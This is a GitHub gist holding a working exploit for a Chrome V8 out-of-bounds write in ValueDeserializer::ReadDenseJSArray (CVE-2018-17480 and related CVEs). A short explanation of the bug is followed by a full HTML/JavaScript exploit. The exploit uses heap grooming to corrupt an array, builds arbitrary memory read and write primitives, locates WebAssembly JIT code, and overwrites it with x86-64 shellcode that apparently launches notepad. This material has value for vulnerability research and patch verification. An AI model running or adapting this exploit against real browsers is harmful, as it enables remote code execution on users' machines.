Skip to content

Instantly share code, notes, and snippets.

@raystyle
Created April 3, 2019 09:33
Show Gist options
  • Save raystyle/c278400acbd730cfdf6c5ba2832ae2c3 to your computer and use it in GitHub Desktop.
Save raystyle/c278400acbd730cfdf6c5ba2832ae2c3 to your computer and use it in GitHub Desktop.
CVE-2018-17480,CVE-2018-18342,CVE-2019-5763
https://bugs.chromium.org/p/chromium/issues/detail?id=905940
OOB write in ValueDeserializer::ReadDenseJSArray
1.the bug
https://cs.chromium.org/chromium/src/v8/src/value-serializer.cc?rcl=666bded3cec43d84f484c5f310ccba96291f096d&l=1438
MaybeHandle<JSArray> ValueDeserializer::ReadDenseJSArray() {
...
uint32_t id = next_id_++;
HandleScope scope(isolate_);
Handle<JSArray> array = isolate_->factory()->NewJSArray(
HOLEY_ELEMENTS, length, length, INITIALIZE_ARRAY_ELEMENTS_WITH_HOLE,
pretenure_);
AddObjectWithID(id, array);
Handle<FixedArray> elements(FixedArray::cast(array->elements()), isolate_);
for (uint32_t i = 0; i < length; i++) {
SerializationTag tag;
if (PeekTag().To(&tag) && tag == SerializationTag::kTheHole) {
ConsumeTag(SerializationTag::kTheHole);
continue;
}
Handle<Object> element;
if (!ReadObject().ToHandle(&element)) return MaybeHandle<JSArray>();---------> ReadObject can call into user javascript, which can shrink the elements
// Serialization versions less than 11 encode the hole the same as
// undefined. For consistency with previous behavior, store these as the
// hole. Past version 11, undefined means undefined.
if (version_ < 11 && element->IsUndefined(isolate_)) continue;
elements->set(i, *element);------------> OOB write happen here.
}
...
}
2.how to exploit
By heap Fengshui, an object(named oobObject) can be put adjacent to elements, when OOB write happens, the elements length of the oobObject can be modified
to any value, the following code means modifying the length of the elements to 0x30;
var arrElement = "-".repeat(19) + "U\x30" + "-".repeat(7);
var str = '"\x06length^\x00U\x02A\x01y$\x00\x01@\x03\x03' + arrElement + '$\x00' + String.fromCharCode(arrLen);
with the oobObject, the ArrayBuffer object dv.buffer can be controlled, which means its backingstore and length can be set to any value, so it's easy to implement
arbitray memory read/write and then execute shell code.
var oobArray = e.data;
if (oobArray[0] === undefined)
return;
var oobObject = oobArray[0];
var dv = oobArray[1];
var ab = new ArrayBuffer(0x1000);
ab[0] = {};
oobObject[19] = dv.buffer;
dv[1] = 0x1000; ------>modify the length of dv.buffer
dv[2] = ab; ------>modify the backingstore of dv.buffer
<html>
<body>
<script defer>
function sleep(milliseconds) {
var start = new Date().getTime();
for (var i = 0; i < 1e7; i++) {
if ((new Date().getTime() - start) > milliseconds) {
break;
}
}
}
function Alloc(size) {
function message(e) {
arr = [];
for (var i = 0; i < 80; i++) {
try {
arr.push(new ArrayBuffer(0x7ffff000 + i));
} catch (e) {
break;
}
console.log(arr.length);
postMessage(arr.length);
}
postMessage("done");
}
var blobURL = URL.createObjectURL(new Blob(['onmessage=', message.toString()], { type: 'application/javascript' }));
var worker = new Worker(blobURL);
worker.postMessage(size);
return worker;
}
var div = document.createElement("div");
document.body.append(div);
div.innerHTML="";
function log(str){
div.innerHTML += "<h1>"+str+"</h1>";
}
log("start");
var arr2 = [];
var block;
var worker;
function call_back() {
block.terminate();
sleep(2000);
return [1, 2, 3, 4, 5, 6, 7, 8, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1];
}
arr2[0] = new ImageData(0x1ffff, 0x1000);
arr2.__defineGetter__(1, call_back);
arr2[2] = new ImageData(0x1ffff, 0x1000);
var ta = arr2[2].data;
var arrLen = 30;
var arrElement = "-".repeat(19) + "U\x30" + "-".repeat(7);
var str = '"\x06length^\x00U\x02A\x01y$\x00\x01@\x03\x03' + arrElement + '$\x00' + String.fromCharCode(arrLen);
for (var i = str.length - 1, j = ta.byteLength - 1; i >= 0; i-- , j--) {
ta[j] = str.charCodeAt(i);
}
var oobArray = new Array(arrLen);
oobArray.fill(1);
oobArray = Object.keys(oobArray);
oobArray[0] = { 0: 1, 1: 2 };
oobArray[1] = new DataView(new ArrayBuffer(1));
oobArray[2] = arr2;
block = Alloc(0x7fffffff);
log("start alloc");
block.onmessage = function (e) {
try {
if(e.data!="done"){
log(e.data);
return;
}
function message(e) {
Array.prototype.valueOf = function x() {
function gc() {
for (var i = 0; i < 200; i++)
new ArrayBuffer(0x100000);
}
console.log("valueOf called");
this.length = 3;
gc();
var arr = [];
for (var i = 0; i < 8; i++) {
try {
arr.push(new ArrayBuffer(0x7ffff000 + i));
} catch (e) {
break;
}
}
arr.length = 0;
delete Array.prototype.valueOf;
return this.length;
};
var oobArray = e.data;
if (oobArray[0] === undefined)
return;
var oobObject = oobArray[0];
var dv = oobArray[1];
var ab = new ArrayBuffer(0x1000);
ab[0] = {};
oobObject[19] = dv.buffer;
dv[1] = 0x1000;
dv[2] = ab;
function modifyAddress(addr) {
var controlView = new DataView(dv.buffer, 32 - 1);
controlView.setBigInt64(0, addr, true);
}
var view = new DataView(ab);
function getObjectAddress(obj) {
ab[0] = obj;
var controlView = new DataView(dv.buffer, 16 - 1);
let elements = controlView.getBigInt64(0, true);
modifyAddress(elements - 1n + 16n);
var objAddr = view.getBigInt64(0, true);
return objAddr;
}
var memory = {
readUint64(addr) {
modifyAddress(addr);
let arr = new BigUint64Array(ab);
return arr[0];
},
writeUint64(addr, value) {
modifyAddress(addr);
let arr = new BigUint64Array(ab);
arr[0] = value;
},
writeBytes(addr, bytes) {
modifyAddress(addr);
let view = new Uint8Array(ab);
for (let i = 0; i < bytes.length; i++) {
view[i] = bytes[i];
}
}
};
function getWasmJIT() {
var moduleContent = [
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x06, 0x01, 0x60,
0x01, 0x7f, 0x01, 0x7f, 0x03, 0x02, 0x01, 0x00, 0x07, 0x07, 0x01, 0x03,
0x61, 0x64, 0x64, 0x00, 0x00, 0x0a, 0x1d, 0x01, 0x1b, 0x00, 0x42, 0xc8,
0x96, 0xda, 0xc1, 0xb4, 0xd1, 0xd9, 0x83, 0x43, 0x42, 0xd9, 0xb4, 0x85,
0xc2, 0x95, 0xa8, 0xd6, 0xe1, 0x00, 0x7c, 0xa7, 0x20, 0x00, 0x6a, 0x0b
];
var buffer = new Uint8Array(moduleContent);
var myModule = new WebAssembly.Module(buffer);
var myInstance = new WebAssembly.Instance(myModule, {});
myInstance.exports.add(1);
function getWasmInstructAddr() {
let moduleAddr = getObjectAddress(myModule);
let foreignAddr = memory.readUint64(moduleAddr - 1n + 3n * 8n);
let ManagedPtrDestructorAddr = memory.readUint64(foreignAddr - 1n + 1n * 8n);
let pnativeModuleAddr = memory.readUint64(ManagedPtrDestructorAddr + 3n * 8n);
let nativeModuleAddr = memory.readUint64(pnativeModuleAddr);
let codeTableAddr = memory.readUint64(nativeModuleAddr + 0x30n);
let pwasmFuncAddr = memory.readUint64(codeTableAddr);
let wasmFuncAddr = memory.readUint64(pwasmFuncAddr);
return wasmFuncAddr;
}
var pStart = getWasmInstructAddr(myModule);
return { addr: pStart, func: myInstance.exports.add };
}
var str = [
0x48, 0x83, 0xec, 0x28, 0xe8, 0xf7, 0x02, 0x00, 0x00, 0x48, 0x83, 0xc4,
0x28, 0xc3, 0xcc, 0xcc, 0x89, 0x4c, 0x24, 0x08, 0x56, 0x57, 0x48, 0x81,
0xec, 0x88, 0x00, 0x00, 0x00, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x60, 0x00,
0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8b, 0x44, 0x24, 0x48,
0x48, 0x8b, 0x40, 0x18, 0x48, 0x89, 0x44, 0x24, 0x50, 0x48, 0x8b, 0x44,
0x24, 0x50, 0x48, 0x8b, 0x40, 0x10, 0x48, 0x89, 0x44, 0x24, 0x58, 0x48,
0x8b, 0x44, 0x24, 0x58, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8b, 0x44,
0x24, 0x28, 0x48, 0x83, 0x78, 0x30, 0x00, 0x0f, 0x84, 0x35, 0x02, 0x00,
0x00, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x44,
0x24, 0x28, 0x48, 0x8b, 0x40, 0x30, 0x48, 0x89, 0x44, 0x24, 0x18, 0x48,
0x8d, 0x44, 0x24, 0x70, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x8b, 0xf8,
0x48, 0x8d, 0x71, 0x58, 0xb9, 0x10, 0x00, 0x00, 0x00, 0xf3, 0xa4, 0x48,
0x8b, 0x44, 0x24, 0x18, 0x48, 0x63, 0x40, 0x3c, 0x48, 0x8b, 0x4c, 0x24,
0x18, 0x48, 0x03, 0xc8, 0x48, 0x8b, 0xc1, 0x48, 0x89, 0x44, 0x24, 0x60,
0xb8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6b, 0xc0, 0x00, 0x48, 0x8b, 0x4c,
0x24, 0x60, 0x8b, 0x84, 0x01, 0x88, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24,
0x24, 0x48, 0x8b, 0x44, 0x24, 0x28, 0x48, 0x8b, 0x00, 0x48, 0x89, 0x44,
0x24, 0x28, 0x83, 0x7c, 0x24, 0x24, 0x00, 0x75, 0x05, 0xe9, 0x77, 0xff,
0xff, 0xff, 0xc7, 0x04, 0x24, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x08, 0x8b,
0x04, 0x24, 0xff, 0xc0, 0x89, 0x04, 0x24, 0x0f, 0xb7, 0x44, 0x24, 0x72,
0x39, 0x04, 0x24, 0x73, 0x60, 0x8b, 0x04, 0x24, 0x48, 0x8b, 0x4c, 0x24,
0x78, 0x48, 0x03, 0xc8, 0x48, 0x8b, 0xc1, 0x48, 0x89, 0x44, 0x24, 0x10,
0x8b, 0x44, 0x24, 0x04, 0xc1, 0xe8, 0x0d, 0x8b, 0x4c, 0x24, 0x04, 0xc1,
0xe1, 0x13, 0x0b, 0xc1, 0x89, 0x44, 0x24, 0x04, 0x48, 0x8b, 0x44, 0x24,
0x10, 0x0f, 0xbe, 0x00, 0x83, 0xf8, 0x61, 0x7c, 0x16, 0x48, 0x8b, 0x44,
0x24, 0x10, 0x0f, 0xbe, 0x00, 0x8b, 0x4c, 0x24, 0x04, 0x8d, 0x44, 0x01,
0xe0, 0x89, 0x44, 0x24, 0x04, 0xeb, 0x14, 0x48, 0x8b, 0x44, 0x24, 0x10,
0x0f, 0xbe, 0x00, 0x8b, 0x4c, 0x24, 0x04, 0x03, 0xc8, 0x8b, 0xc1, 0x89,
0x44, 0x24, 0x04, 0xeb, 0x8e, 0x8b, 0x44, 0x24, 0x24, 0x48, 0x8b, 0x4c,
0x24, 0x18, 0x48, 0x03, 0xc8, 0x48, 0x8b, 0xc1, 0x48, 0x89, 0x44, 0x24,
0x30, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x8b, 0x40, 0x18, 0x89, 0x44, 0x24,
0x38, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x8b, 0x40, 0x20, 0x48, 0x8b, 0x4c,
0x24, 0x18, 0x48, 0x03, 0xc8, 0x48, 0x8b, 0xc1, 0x48, 0x89, 0x44, 0x24,
0x40, 0xc7, 0x04, 0x24, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x08, 0x8b, 0x04,
0x24, 0xff, 0xc0, 0x89, 0x04, 0x24, 0x8b, 0x44, 0x24, 0x38, 0x39, 0x04,
0x24, 0x0f, 0x83, 0xe6, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x08, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8b, 0x44, 0x24, 0x40, 0x8b, 0x00, 0x48, 0x03,
0x44, 0x24, 0x18, 0x48, 0x89, 0x44, 0x24, 0x68, 0x48, 0x8b, 0x44, 0x24,
0x40, 0x48, 0x83, 0xc0, 0x04, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x8b,
0x44, 0x24, 0x68, 0x48, 0x89, 0x44, 0x24, 0x10, 0x8b, 0x44, 0x24, 0x08,
0xc1, 0xe8, 0x0d, 0x8b, 0x4c, 0x24, 0x08, 0xc1, 0xe1, 0x13, 0x0b, 0xc1,
0x89, 0x44, 0x24, 0x08, 0x48, 0x8b, 0x44, 0x24, 0x10, 0x0f, 0xbe, 0x00,
0x8b, 0x4c, 0x24, 0x08, 0x03, 0xc8, 0x8b, 0xc1, 0x89, 0x44, 0x24, 0x08,
0x48, 0x8b, 0x44, 0x24, 0x10, 0x48, 0xff, 0xc0, 0x48, 0x89, 0x44, 0x24,
0x10, 0x48, 0x8b, 0x44, 0x24, 0x10, 0x0f, 0xbe, 0x40, 0xff, 0x85, 0xc0,
0x75, 0xbe, 0x8b, 0x44, 0x24, 0x04, 0x8b, 0x4c, 0x24, 0x08, 0x03, 0xc8,
0x8b, 0xc1, 0x89, 0x44, 0x24, 0x08, 0x8b, 0x84, 0x24, 0xa0, 0x00, 0x00,
0x00, 0x39, 0x44, 0x24, 0x08, 0x75, 0x51, 0x48, 0x8b, 0x44, 0x24, 0x30,
0x8b, 0x40, 0x24, 0x48, 0x8b, 0x4c, 0x24, 0x18, 0x48, 0x03, 0xc8, 0x48,
0x8b, 0xc1, 0x8b, 0x0c, 0x24, 0xd1, 0xe1, 0x8b, 0xc9, 0x0f, 0xb7, 0x04,
0x08, 0x66, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x8b,
0x40, 0x1c, 0x48, 0x8b, 0x4c, 0x24, 0x18, 0x48, 0x03, 0xc8, 0x48, 0x8b,
0xc1, 0x0f, 0xb7, 0x4c, 0x24, 0x20, 0xc1, 0xe1, 0x02, 0x48, 0x63, 0xc9,
0x8b, 0x04, 0x08, 0x48, 0x8b, 0x4c, 0x24, 0x18, 0x48, 0x03, 0xc8, 0x48,
0x8b, 0xc1, 0xeb, 0x0c, 0xe9, 0x05, 0xff, 0xff, 0xff, 0xe9, 0xbb, 0xfd,
0xff, 0xff, 0x33, 0xc0, 0x48, 0x81, 0xc4, 0x88, 0x00, 0x00, 0x00, 0x5f,
0x5e, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x38, 0xc6, 0x44, 0x24, 0x20,
0x6e, 0xc6, 0x44, 0x24, 0x21, 0x6f, 0xc6, 0x44, 0x24, 0x22, 0x74, 0xc6,
0x44, 0x24, 0x23, 0x65, 0xc6, 0x44, 0x24, 0x24, 0x70, 0xc6, 0x44, 0x24,
0x25, 0x61, 0xc6, 0x44, 0x24, 0x26, 0x64, 0xc6, 0x44, 0x24, 0x27, 0x00,
0xb9, 0x31, 0x8b, 0x6f, 0x87, 0xe8, 0x2a, 0xfd, 0xff, 0xff, 0x48, 0x89,
0x44, 0x24, 0x28, 0xba, 0x05, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24,
0x20, 0xff, 0x54, 0x24, 0x28, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc,
0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20,
0xe8, 0x9f, 0xff, 0xff, 0xff, 0x48, 0x8b, 0xe6, 0x5e, 0xc3, 0x00, 0x00,
];
var shellCode = new Uint8Array(str.length);
for (var i = 0; i < str.length; i++)
shellCode[i] = str[i];
var wasmJIT = getWasmJIT();
memory.writeBytes(wasmJIT.addr, shellCode);
console.log("success");
wasmJIT.func(0x123456789);
close();
return;
//postMessage(e.data.byteLength);
}
var blobURL = URL.createObjectURL(new Blob(['onmessage=', message.toString()], { type: 'application/javascript' }));
worker = new Worker(blobURL);
worker.postMessage(new ImageData(1, 1));
worker.postMessage(oobArray);
log("after post message");
} catch (e) {
console.log("post failed" + e.toString());
log("post failed" + e.toString());
block.terminate();
if (worker)
worker.terminate();
}
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment